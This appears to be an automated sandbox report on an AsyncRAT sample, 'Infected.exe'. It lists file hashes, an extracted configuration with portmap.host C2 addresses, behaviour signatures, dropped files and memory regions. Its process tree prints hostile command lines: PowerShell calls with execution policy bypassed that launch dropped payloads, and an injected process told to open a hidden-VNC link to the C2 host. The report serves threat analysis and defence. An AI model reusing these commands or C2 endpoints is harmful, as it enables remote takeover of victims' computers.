Overview

overview

10

Static

static

10

Infected.exe

windows7-x64

10

Infected.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    299s
  • max time network
    335s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-08-2023 20:23

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Infected.exe

  • Size

    63KB

  • MD5

    45e26c322dba6a6eecced041efb55e9b

  • SHA1

    0762521b60d9a56c5a3219e4bbeeffdc3454edba

  • SHA256

    c41f14d142a0afb87f747243818ea6838b8d7b000e22cd488d759594e1e2290a

  • SHA512

    1fd55bc8c8e83bededae62c83010d6a164f6ad29a65839e464d17c67fd1a25a63f9192609c974a467550a93d310a182686b48bc91d00ab3d2f0b22eb9bff5c62

  • SSDEEP

    768:yfLDqQkNP78i3C8A+XOSazcBRL5JTk1+T4KSBGHmDbD/ph0oXR05CuajaSucdpqM:WmNvVdSJYUbdh9RruYucdpqKmY7

Score
10/10
asyncratdefaultpersistencerat

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

Kaught-36793.portmap.host:1194

Kaught-36793.portmap.host:53088

Kaught-53088.portmap.host:1194

Kaught-53088.portmap.host:53088
Mutex

Ι7IEيHCΓΔFשΔHxn1wGx

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Async RAT payload 1 IoCs
    rat
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Executes dropped EXE 2 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 5 IoCs
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Infected.exe
    "C:\Users\Admin\AppData\Local\Temp\Infected.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4564
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\akfbfq.exe"' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2888
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\akfbfq.exe"'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2208
        • C:\Users\Admin\AppData\Local\Temp\akfbfq.exe
          "C:\Users\Admin\AppData\Local\Temp\akfbfq.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1528
          • C:\Windows\explorer.exe
            "C:\Windows\explorer.exe"
            5⤵
            • Modifies Installed Components in the registry
            • Enumerates connected drives
            • Modifies Internet Explorer settings
            • Modifies registry class
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of SetWindowsHookEx
            PID:4100
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" AnarchyHVNC Kaught-53088.portmap.host 53088 02ctEO
            5⤵
              PID:2080
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\hgsbhp.exe"' & exit
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2536
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\hgsbhp.exe"'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5072
          • C:\Users\Admin\AppData\Local\Temp\hgsbhp.exe
            "C:\Users\Admin\AppData\Local\Temp\hgsbhp.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4952
            • C:\Windows\explorer.exe
              "C:\Windows\explorer.exe"
              5⤵
                PID:1388
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" AnarchyHVNC Kaught-53088.portmap.host 53088 02ctEO
                5⤵
                  PID:4976
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" AnarchyHVNC Kaught-53088.portmap.host 53088 02ctEO
                  5⤵
                    PID:4400
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\mdnziq.exe"' & exit
              2⤵
                PID:4588
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\mdnziq.exe"'
                  3⤵
                    PID:4768
                    • C:\Users\Admin\AppData\Local\Temp\mdnziq.exe
                      "C:\Users\Admin\AppData\Local\Temp\mdnziq.exe"
                      4⤵
                        PID:4832
                        • C:\Windows\explorer.exe
                          "C:\Windows\explorer.exe"
                          5⤵
                            PID:4896
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" AnarchyHVNC Kaught-53088.portmap.host 53088 02ctEO
                            5⤵
                              PID:2040
                    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                      1⤵
                      • Modifies registry class
                      • Suspicious use of SetWindowsHookEx
                      PID:2676
                    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                      1⤵
                      • Modifies registry class
                      • Suspicious use of SetWindowsHookEx
                      PID:2972
                      • C:\Windows\system32\WerFault.exe
                        C:\Windows\system32\WerFault.exe -u -p 2972 -s 3972
                        2⤵
                        • Program crash
                        PID:2216
                    • C:\Windows\system32\WerFault.exe
                      C:\Windows\system32\WerFault.exe -pss -s 188 -p 2972 -ip 2972
                      1⤵
                        PID:3932
                      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                        1⤵
                        • Modifies Internet Explorer settings
                        • Modifies registry class
                        • Suspicious use of SetWindowsHookEx
                        PID:3900
                        • C:\Windows\system32\WerFault.exe
                          C:\Windows\system32\WerFault.exe -u -p 3900 -s 3980
                          2⤵
                          • Program crash
                          PID:4284
                      • C:\Windows\system32\WerFault.exe
                        C:\Windows\system32\WerFault.exe -pss -s 532 -p 3900 -ip 3900
                        1⤵
                          PID:3360
                        • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                          "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                          1⤵
                          • Modifies Internet Explorer settings
                          • Modifies registry class
                          • Suspicious use of SetWindowsHookEx
                          PID:2208
                          • C:\Windows\system32\WerFault.exe
                            C:\Windows\system32\WerFault.exe -u -p 2208 -s 3576
                            2⤵
                            • Program crash
                            PID:4088
                        • C:\Windows\system32\WerFault.exe
                          C:\Windows\system32\WerFault.exe -pss -s 484 -p 2208 -ip 2208
                          1⤵
                            PID:4548
                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                            1⤵
                            • Modifies Internet Explorer settings
                            • Modifies registry class
                            • Suspicious use of SetWindowsHookEx
                            PID:4636
                            • C:\Windows\system32\WerFault.exe
                              C:\Windows\system32\WerFault.exe -u -p 4636 -s 3536
                              2⤵
                              • Program crash
                              PID:4916
                          • C:\Windows\system32\WerFault.exe
                            C:\Windows\system32\WerFault.exe -pss -s 496 -p 4636 -ip 4636
                            1⤵
                              PID:2884
                            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                              1⤵
                              • Modifies Internet Explorer settings
                              • Modifies registry class
                              • Suspicious use of SetWindowsHookEx
                              PID:4508
                              • C:\Windows\system32\WerFault.exe
                                C:\Windows\system32\WerFault.exe -u -p 4508 -s 3532
                                2⤵
                                • Program crash
                                PID:1916
                            • C:\Windows\system32\WerFault.exe
                              C:\Windows\system32\WerFault.exe -pss -s 464 -p 4508 -ip 4508
                              1⤵
                                PID:4372

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                Filesize

                                2KB

                                MD5

                                6cf293cb4d80be23433eecf74ddb5503

                                SHA1

                                24fe4752df102c2ef492954d6b046cb5512ad408

                                SHA256

                                b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                SHA512

                                0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                Filesize

                                64B

                                MD5

                                feadc4e1a70c13480ef147aca0c47bc0

                                SHA1

                                d7a5084c93842a290b24dacec0cd3904c2266819

                                SHA256

                                5b4f1fe7ba74b245b6368dbe4ceffa438f14eef08ba270e9a13c57505c7717ac

                                SHA512

                                c9681a19c773891808fefa9445cea598d118c83bba89530a51ab993adbff39bce72b43f8e99d0c68e4a44f7e0f4c8ec128641c45cd557a8e1215721d5d992a23

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                Filesize

                                64B

                                MD5

                                446dd1cf97eaba21cf14d03aebc79f27

                                SHA1

                                36e4cc7367e0c7b40f4a8ace272941ea46373799

                                SHA256

                                a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

                                SHA512

                                a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\7ZZHJ0NR\microsoft.windows[1].xml
                                Filesize

                                97B

                                MD5

                                75fdba27ae111f9312c9b243a5e22d02

                                SHA1

                                0bbbf13546b05600dbeb285609adcff5e12c2e24

                                SHA256

                                62198536b21cc7cad5b396303999bb4ad75ad784e120525be4b8b8a503f05d89

                                SHA512

                                855ad3a011f011fc715020029dfce87fd1812bd6d94b5aafdc731b591fe24c681048009427d22da931fc13a1b7cdbca5e8336a79f03d6e226d9984118f2a306c

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\7ZZHJ0NR\microsoft.windows[1].xml
                                Filesize

                                97B

                                MD5

                                75fdba27ae111f9312c9b243a5e22d02

                                SHA1

                                0bbbf13546b05600dbeb285609adcff5e12c2e24

                                SHA256

                                62198536b21cc7cad5b396303999bb4ad75ad784e120525be4b8b8a503f05d89

                                SHA512

                                855ad3a011f011fc715020029dfce87fd1812bd6d94b5aafdc731b591fe24c681048009427d22da931fc13a1b7cdbca5e8336a79f03d6e226d9984118f2a306c

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\7ZZHJ0NR\microsoft.windows[1].xml
                                Filesize

                                97B

                                MD5

                                75fdba27ae111f9312c9b243a5e22d02

                                SHA1

                                0bbbf13546b05600dbeb285609adcff5e12c2e24

                                SHA256

                                62198536b21cc7cad5b396303999bb4ad75ad784e120525be4b8b8a503f05d89

                                SHA512

                                855ad3a011f011fc715020029dfce87fd1812bd6d94b5aafdc731b591fe24c681048009427d22da931fc13a1b7cdbca5e8336a79f03d6e226d9984118f2a306c

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\7ZZHJ0NR\microsoft.windows[1].xml
                                Filesize

                                97B

                                MD5

                                75fdba27ae111f9312c9b243a5e22d02

                                SHA1

                                0bbbf13546b05600dbeb285609adcff5e12c2e24

                                SHA256

                                62198536b21cc7cad5b396303999bb4ad75ad784e120525be4b8b8a503f05d89

                                SHA512

                                855ad3a011f011fc715020029dfce87fd1812bd6d94b5aafdc731b591fe24c681048009427d22da931fc13a1b7cdbca5e8336a79f03d6e226d9984118f2a306c

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5oscvesd.n3n.ps1
                                Filesize

                                60B

                                MD5

                                d17fe0a3f47be24a6453e9ef58c94641

                                SHA1

                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                SHA256

                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                SHA512

                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\akfbfq.exe
                                Filesize

                                61KB

                                MD5

                                586bb280453a83a66810d39b864741a5

                                SHA1

                                9a558f0e81d23dcc5a29bc91ad01705d4d14a315

                                SHA256

                                c0dce08bd4627e194c99f789cfcf4037aed30635bea7f4761e570f55f448acb3

                                SHA512

                                364275f7ac96802c5ac67c849aff8c20845e85e196fdc219a104a8d8b86ca08fb753ab9abd31675cb119a986d93241d0066ae21f16a78f4907e366dabfe4b094

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\akfbfq.exe
                                Filesize

                                61KB

                                MD5

                                586bb280453a83a66810d39b864741a5

                                SHA1

                                9a558f0e81d23dcc5a29bc91ad01705d4d14a315

                                SHA256

                                c0dce08bd4627e194c99f789cfcf4037aed30635bea7f4761e570f55f448acb3

                                SHA512

                                364275f7ac96802c5ac67c849aff8c20845e85e196fdc219a104a8d8b86ca08fb753ab9abd31675cb119a986d93241d0066ae21f16a78f4907e366dabfe4b094

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\hgsbhp.exe
                                Filesize

                                61KB

                                MD5

                                586bb280453a83a66810d39b864741a5

                                SHA1

                                9a558f0e81d23dcc5a29bc91ad01705d4d14a315

                                SHA256

                                c0dce08bd4627e194c99f789cfcf4037aed30635bea7f4761e570f55f448acb3

                                SHA512

                                364275f7ac96802c5ac67c849aff8c20845e85e196fdc219a104a8d8b86ca08fb753ab9abd31675cb119a986d93241d0066ae21f16a78f4907e366dabfe4b094

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\hgsbhp.exe
                                Filesize

                                61KB

                                MD5

                                586bb280453a83a66810d39b864741a5

                                SHA1

                                9a558f0e81d23dcc5a29bc91ad01705d4d14a315

                                SHA256

                                c0dce08bd4627e194c99f789cfcf4037aed30635bea7f4761e570f55f448acb3

                                SHA512

                                364275f7ac96802c5ac67c849aff8c20845e85e196fdc219a104a8d8b86ca08fb753ab9abd31675cb119a986d93241d0066ae21f16a78f4907e366dabfe4b094

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\mdnziq.exe
                                Filesize

                                61KB

                                MD5

                                586bb280453a83a66810d39b864741a5

                                SHA1

                                9a558f0e81d23dcc5a29bc91ad01705d4d14a315

                                SHA256

                                c0dce08bd4627e194c99f789cfcf4037aed30635bea7f4761e570f55f448acb3

                                SHA512

                                364275f7ac96802c5ac67c849aff8c20845e85e196fdc219a104a8d8b86ca08fb753ab9abd31675cb119a986d93241d0066ae21f16a78f4907e366dabfe4b094

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\mdnziq.exe
                                Filesize

                                61KB

                                MD5

                                586bb280453a83a66810d39b864741a5

                                SHA1

                                9a558f0e81d23dcc5a29bc91ad01705d4d14a315

                                SHA256

                                c0dce08bd4627e194c99f789cfcf4037aed30635bea7f4761e570f55f448acb3

                                SHA512

                                364275f7ac96802c5ac67c849aff8c20845e85e196fdc219a104a8d8b86ca08fb753ab9abd31675cb119a986d93241d0066ae21f16a78f4907e366dabfe4b094

                                Download Submit

                              • C:\Users\Admin\AppData\Roaming\temp0923
                                Filesize

                                10B

                                MD5

                                3635bdb50b7239aac915a84e447b88f6

                                SHA1

                                2969f5ff805fc4540da053e77c264281af65d2d5

                                SHA256

                                471f9d5bb2d5289b0168d419aa621f4ff1f630cfed5725a12b343483576c7c57

                                SHA512

                                ab2ef96d646083edf0cb616b5cb2462bf313aea0a827718449c1ca3bb11c0eb9c0a637c75cd1c73101b96fad07631f048d5327ab9d6f735063ce2d6acd7f55f1

                                Download Submit

                              • memory/1528-165-0x000000001B0B0000-0x000000001B0C0000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/1528-168-0x00007FF8C6EE0000-0x00007FF8C79A1000-memory.dmp

                                Filesize

                                10.8MB

                                Download

                              • memory/1528-164-0x00007FF8C6EE0000-0x00007FF8C79A1000-memory.dmp

                                Filesize

                                10.8MB

                                Download

                              • memory/1528-162-0x00000000004B0000-0x00000000004C6000-memory.dmp

                                Filesize

                                88KB

                                Download

                              • memory/2040-329-0x00000000051D0000-0x00000000051E0000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/2040-328-0x00000000748A0000-0x0000000075050000-memory.dmp

                                Filesize

                                7.7MB

                                Download

                              • memory/2080-207-0x00000000748A0000-0x0000000075050000-memory.dmp

                                Filesize

                                7.7MB

                                Download

                              • memory/2080-166-0x0000000000400000-0x0000000000416000-memory.dmp

                                Filesize

                                88KB

                                Download

                              • memory/2080-170-0x00000000058D0000-0x0000000005962000-memory.dmp

                                Filesize

                                584KB

                                Download

                              • memory/2080-171-0x00000000059C0000-0x0000000005A5C000-memory.dmp

                                Filesize

                                624KB

                                Download

                              • memory/2080-172-0x00000000031E0000-0x00000000031F0000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/2080-173-0x00000000061C0000-0x0000000006764000-memory.dmp

                                Filesize

                                5.6MB

                                Download

                              • memory/2080-174-0x0000000006100000-0x0000000006166000-memory.dmp

                                Filesize

                                408KB

                                Download

                              • memory/2080-220-0x00000000031E0000-0x00000000031F0000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/2080-169-0x00000000748A0000-0x0000000075050000-memory.dmp

                                Filesize

                                7.7MB

                                Download

                              • memory/2208-146-0x00007FF8C6EE0000-0x00007FF8C79A1000-memory.dmp

                                Filesize

                                10.8MB

                                Download

                              • memory/2208-148-0x00000238F3D00000-0x00000238F3D10000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/2208-230-0x000001A359C30000-0x000001A359C50000-memory.dmp

                                Filesize

                                128KB

                                Download

                              • memory/2208-163-0x00007FF8C6EE0000-0x00007FF8C79A1000-memory.dmp

                                Filesize

                                10.8MB

                                Download

                              • memory/2208-147-0x00000238F3D00000-0x00000238F3D10000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/2208-145-0x00000238F3D10000-0x00000238F3D32000-memory.dmp

                                Filesize

                                136KB

                                Download

                              • memory/2208-232-0x000001AB5B280000-0x000001AB5B2A0000-memory.dmp

                                Filesize

                                128KB

                                Download

                              • memory/2208-228-0x000001A359CA0000-0x000001A359CC0000-memory.dmp

                                Filesize

                                128KB

                                Download

                              • memory/2972-187-0x0000017B853D0000-0x0000017B853F0000-memory.dmp

                                Filesize

                                128KB

                                Download

                              • memory/2972-189-0x0000017B85AF0000-0x0000017B85B10000-memory.dmp

                                Filesize

                                128KB

                                Download

                              • memory/2972-184-0x0000017B85720000-0x0000017B85740000-memory.dmp

                                Filesize

                                128KB

                                Download

                              • memory/3900-213-0x000001CE33540000-0x000001CE33560000-memory.dmp

                                Filesize

                                128KB

                                Download

                              • memory/3900-210-0x000001CE33130000-0x000001CE33150000-memory.dmp

                                Filesize

                                128KB

                                Download

                              • memory/3900-205-0x000001CE33170000-0x000001CE33190000-memory.dmp

                                Filesize

                                128KB

                                Download

                              • memory/4100-177-0x0000000002C60000-0x0000000002C61000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/4400-303-0x0000000004D90000-0x0000000004DA0000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/4400-300-0x0000000004D90000-0x0000000004DA0000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/4400-299-0x00000000748A0000-0x0000000075050000-memory.dmp

                                Filesize

                                7.7MB

                                Download

                              • memory/4400-302-0x00000000748A0000-0x0000000075050000-memory.dmp

                                Filesize

                                7.7MB

                                Download

                              • memory/4508-264-0x0000025014500000-0x0000025014520000-memory.dmp

                                Filesize

                                128KB

                                Download

                              • memory/4508-267-0x00000250141B0000-0x00000250141D0000-memory.dmp

                                Filesize

                                128KB

                                Download

                              • memory/4508-270-0x0000025014960000-0x0000025014980000-memory.dmp

                                Filesize

                                128KB

                                Download

                              • memory/4564-139-0x00007FF8C6EE0000-0x00007FF8C79A1000-memory.dmp

                                Filesize

                                10.8MB

                                Download

                              • memory/4564-136-0x00007FF8E48F0000-0x00007FF8E4AE5000-memory.dmp

                                Filesize

                                2.0MB

                                Download

                              • memory/4564-134-0x00007FF8C6EE0000-0x00007FF8C79A1000-memory.dmp

                                Filesize

                                10.8MB

                                Download

                              • memory/4564-143-0x0000000002B30000-0x0000000002B4E000-memory.dmp

                                Filesize

                                120KB

                                Download

                              • memory/4564-135-0x000000001B700000-0x000000001B710000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/4564-133-0x0000000000960000-0x0000000000976000-memory.dmp

                                Filesize

                                88KB

                                Download

                              • memory/4564-141-0x00007FF8E48F0000-0x00007FF8E4AE5000-memory.dmp

                                Filesize

                                2.0MB

                                Download

                              • memory/4564-142-0x000000001C6D0000-0x000000001C746000-memory.dmp

                                Filesize

                                472KB

                                Download

                              • memory/4564-140-0x000000001B700000-0x000000001B710000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/4636-249-0x000001AC7F560000-0x000001AC7F580000-memory.dmp

                                Filesize

                                128KB

                                Download

                              • memory/4636-256-0x000001AC7F960000-0x000001AC7F980000-memory.dmp

                                Filesize

                                128KB

                                Download

                              • memory/4636-253-0x000001AC7F520000-0x000001AC7F540000-memory.dmp

                                Filesize

                                128KB

                                Download

                              • memory/4768-322-0x00007FF8C6EE0000-0x00007FF8C79A1000-memory.dmp

                                Filesize

                                10.8MB

                                Download

                              • memory/4768-317-0x00000169BAA60000-0x00000169BAA70000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/4768-315-0x00007FF8C6EE0000-0x00007FF8C79A1000-memory.dmp

                                Filesize

                                10.8MB

                                Download

                              • memory/4768-316-0x00000169BAA60000-0x00000169BAA70000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/4832-327-0x00007FF8C6EE0000-0x00007FF8C79A1000-memory.dmp

                                Filesize

                                10.8MB

                                Download

                              • memory/4832-321-0x00007FF8C6EE0000-0x00007FF8C79A1000-memory.dmp

                                Filesize

                                10.8MB

                                Download

                              • memory/4952-298-0x00007FF8C6EE0000-0x00007FF8C79A1000-memory.dmp

                                Filesize

                                10.8MB

                                Download

                              • memory/4952-294-0x00007FF8C6EE0000-0x00007FF8C79A1000-memory.dmp

                                Filesize

                                10.8MB

                                Download

                              • memory/4952-295-0x000000001BBE0000-0x000000001BBF0000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/5072-286-0x000002D93FED0000-0x000002D93FEE0000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/5072-282-0x00007FF8C6EE0000-0x00007FF8C79A1000-memory.dmp

                                Filesize

                                10.8MB

                                Download

                              • memory/5072-288-0x000002D93FED0000-0x000002D93FEE0000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/5072-289-0x000002D93FED0000-0x000002D93FEE0000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/5072-293-0x00007FF8C6EE0000-0x00007FF8C79A1000-memory.dmp

                                Filesize

                                10.8MB

                                Download